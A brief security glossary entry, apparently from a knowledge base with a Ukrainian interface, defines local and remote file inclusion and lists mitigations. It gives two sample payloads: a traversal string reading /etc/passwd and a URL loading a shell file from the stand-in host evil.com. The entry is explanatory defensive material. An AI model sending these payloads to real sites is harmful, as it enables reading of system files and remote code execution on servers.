KB / Глосарій / Включення локального/віддаленого файлу

Включення локального/віддаленого файлу

File Inclusion
Також: LFI, RFI, Local File Inclusion, Remote File Inclusion
web UA EN

LFI and RFI occur when file-path parameters are not validated, letting attackers read arbitrary files or execute remote code.

  • LFI: ?page=../../../../etc/passwd
  • RFI: ?page=http://evil.com/shell.txt (requires allow_url_include=On).

Mitigation

Whitelist allowed paths, basename() normalisation, disable allow_url_include.

Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?